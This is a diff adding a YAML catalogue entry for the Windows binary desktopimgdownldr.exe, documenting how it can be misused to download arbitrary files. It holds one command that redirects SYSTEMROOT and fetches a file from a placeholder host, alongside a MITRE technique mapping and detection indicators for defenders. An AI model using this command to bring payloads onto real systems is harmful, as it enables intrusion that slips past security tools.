Added desktopimgdownldr.exe

yml/OSBinaries/desktopimgdownldr.yml

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+---
+Name: desktopimgdownldr.exe
+Description: Windows binary used to configure lockscreen/desktop image
+Author: Gal Kristal
+Created: 28/06/2020
+Commands:
+  - Command: set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
+    Description: Downloads the file and sets it as the computer's lockscreen
+    Usecase: Download arbitrary files from a web server
+    Category: Download
+    Privileges: User
+    MitreID: - T1105
+    MitreLink: - https://attack.mitre.org/techniques/T1105/
+    OperatingSystem: Windows 10
+Full_Path:
+  - Path: c:\windows\system32\desktopimgdownldr.exe
+Code_Sample: 
+  - Code: 
+Detection: 
+  - IOC: desktopimgdownldr.exe that creates non-image file
+  - IOC: Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl
+Resources:
+  - Link: https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/
+Acknowledgement:
+  - Person: Gal Kristal
+    Handle: @gal_kristal
+---